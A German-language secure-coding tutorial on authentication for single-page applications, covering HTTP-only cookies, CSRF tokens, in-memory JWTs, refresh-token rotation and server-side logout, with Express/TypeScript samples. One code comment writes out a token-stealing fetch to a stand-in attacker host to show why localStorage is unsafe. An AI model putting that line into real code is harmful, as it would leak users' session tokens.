Authentifizierungsmuster für Single-Page-Applications
Tokens, Cookies, Refresh-Flows und Session-Management: die Authentifizierungsmuster, die SPAs sicher halten, ohne die User Experience zu opfern.

Authentifizierung in Single-Page-Applications ist schwieriger, als es aussieht. Der Browser ist eine feindliche Umgebung — JavaScript kann injiziert werden, Tokens können aus dem Storage gestohlen werden, und CSRF-Angriffe nutzen Cookie-basierte Sessions aus. Das falsche Muster erzeugt Sicherheitslücken, die unsichtbar bleiben, bis sie ausgenutzt werden.
Die zwei Hauptansätze
SPAs authentifizieren sich entweder über Cookie-basierte Sessions oder Token-basierte Authentifizierung. Beide haben unterschiedliche Sicherheitseigenschaften.
| Ansatz | Speicherung | CSRF-Risiko | XSS-Risiko | Funktioniert Cross-Origin |
|---|---|---|---|---|
| HTTP-only-Cookies | Vom Browser verwaltet | Ja (abschwächbar) | Gering | Nein (gleicher Origin) |
| JWT im Speicher | JavaScript-Variable | Nein | Ja (bei falscher Speicherung) | Ja |
| JWT im localStorage | localStorage | Nein | Hoch | Ja |
// ❌ JWT in localStorage — any XSS attack steals the token
localStorage.setItem("token", jwt);
// Any injected script can do:
// fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"))
// ✅ HTTP-only cookie — JavaScript cannot access it
// Set by the server:
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/HTTP-only-Cookies sind die sicherste Standardeinstellung für SPAs mit gleichem Origin. Tokens im Speicher (nicht im localStorage) sind für Cross-Origin-Setups geeignet.
Cookie-basierte Authentifizierung
Der Server setzt nach erfolgreichem Login ein HTTP-only-Cookie. Der Browser sendet es automatisch mit jeder Anfrage mit.
// Server: login endpoint
app.post("/api/auth/login", async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) {
return res.status(401).json({ error: "Invalid credentials" });
}
const sessionId = await createSession(user.id);
res.cookie("session", sessionId, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // Only sent over HTTPS
sameSite: "strict", // No cross-origin requests
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: "/",
});
res.json({ user: { id: user.id, name: user.name } });
});// Server: session middleware
async function sessionMiddleware(req: Request, res: Response, next: NextFunction) {
const sessionId = req.cookies.session;
if (!sessionId) return res.status(401).json({ error: "Not authenticated" });
const session = await getSession(sessionId);
if (!session || session.expiresAt < new Date()) {
res.clearCookie("session");
return res.status(401).json({ error: "Session expired" });
}
req.userId = session.userId;
next();
}CSRF-Schutz
Cookies werden automatisch mitgesendet, was bedeutet, dass eine bösartige Seite authentifizierte Anfragen auslösen kann. Das Attribut SameSite=Strict verhindert die meisten CSRF-Angriffe. Für zusätzlichen Schutz verwende ein CSRF-Token.
// Server: generate CSRF token for the session
app.get("/api/auth/csrf-token", sessionMiddleware, (req, res) => {
const csrfToken = generateSecureToken();
req.session.csrfToken = csrfToken;
res.json({ csrfToken });
});
// Server: verify CSRF token on state-changing requests
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
if (["GET", "HEAD", "OPTIONS"].includes(req.method)) return next();
const token = req.headers["x-csrf-token"];
if (token !== req.session.csrfToken) {
return res.status(403).json({ error: "Invalid CSRF token" });
}
next();
}Token-basierte Authentifizierung
Wenn API und SPA auf unterschiedlichen Origins liegen, funktionieren Cookies nicht nahtlos. Tokens, die im JavaScript-Speicher gehalten werden (nicht im localStorage), sind die sicherere Alternative.
// Client: store token in memory, not localStorage
let accessToken: string | null = null;
let refreshToken: string | null = null;
async function login(email: string, password: string) {
const res = await fetch("/api/auth/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email, password }),
});
const data = await res.json();
accessToken = data.accessToken; // Short-lived: 15 minutes
refreshToken = data.refreshToken; // Longer-lived: 7 days
}
// Attach token to every request
async function authenticatedFetch(url: string, options: RequestInit = {}) {
if (!accessToken) throw new Error("Not authenticated");
const res = await fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${accessToken}`,
},
});
if (res.status === 401) {
await refreshAccessToken();
return authenticatedFetch(url, options); // Retry with new token
}
return res;
}Refresh-Token-Flow
Kurzlebige Access Tokens begrenzen das Schadensfenster, falls ein Token gestohlen wird. Refresh Tokens stellen neue Access Tokens aus, ohne dass ein erneuter Login nötig ist.
// Server: refresh endpoint
app.post("/api/auth/refresh", async (req, res) => {
const { refreshToken } = req.body;
const payload = verifyRefreshToken(refreshToken);
if (!payload) return res.status(401).json({ error: "Invalid refresh token" });
// Rotate refresh token — one-time use
await revokeRefreshToken(refreshToken);
const newAccessToken = signAccessToken({ userId: payload.userId }, "15m");
const newRefreshToken = signRefreshToken({ userId: payload.userId }, "7d");
await storeRefreshToken(newRefreshToken, payload.userId);
res.json({ accessToken: newAccessToken, refreshToken: newRefreshToken });
});Refresh-Token-Rotation ist entscheidend: Jedes Refresh Token ist nur einmal verwendbar. Wenn ein Angreifer eines stiehlt und sowohl der Angreifer als auch der Nutzer es verwenden wollen, erkennt der Server die Wiederverwendung und widerruft die gesamte Session.
Logout und Session-Invalidierung
// Server-side: revoke the session
app.post("/api/auth/logout", sessionMiddleware, async (req, res) => {
await deleteSession(req.sessionId);
res.clearCookie("session");
res.json({ success: true });
});
// Client-side: clear in-memory tokens
function logout() {
accessToken = null;
refreshToken = null;
window.location.href = "/login";
}Invalidiere Sessions immer serverseitig. Das clientseitige Löschen des Cookies oder Tokens reicht nicht — die alte Session-ID oder das alte Token könnten noch gültig sein.
Die wichtigsten Erkenntnisse
- HTTP-only-Cookies sind die sicherste Standardeinstellung für SPAs mit gleichem Origin — JavaScript kann nicht darauf zugreifen
- Speichere Tokens niemals im localStorage — jede XSS-Schwachstelle wird zur vollständigen Kontoübernahme
- Verwende kurzlebige Access Tokens (15 Min.) mit Refresh-Token-Rotation für Token-basierte Authentifizierung
SameSite=Strictverhindert die meisten CSRF-Angriffe ohne zusätzliche Tokens- Invalidiere Sessions beim Logout immer serverseitig — clientseitiges Aufräumen reicht nicht


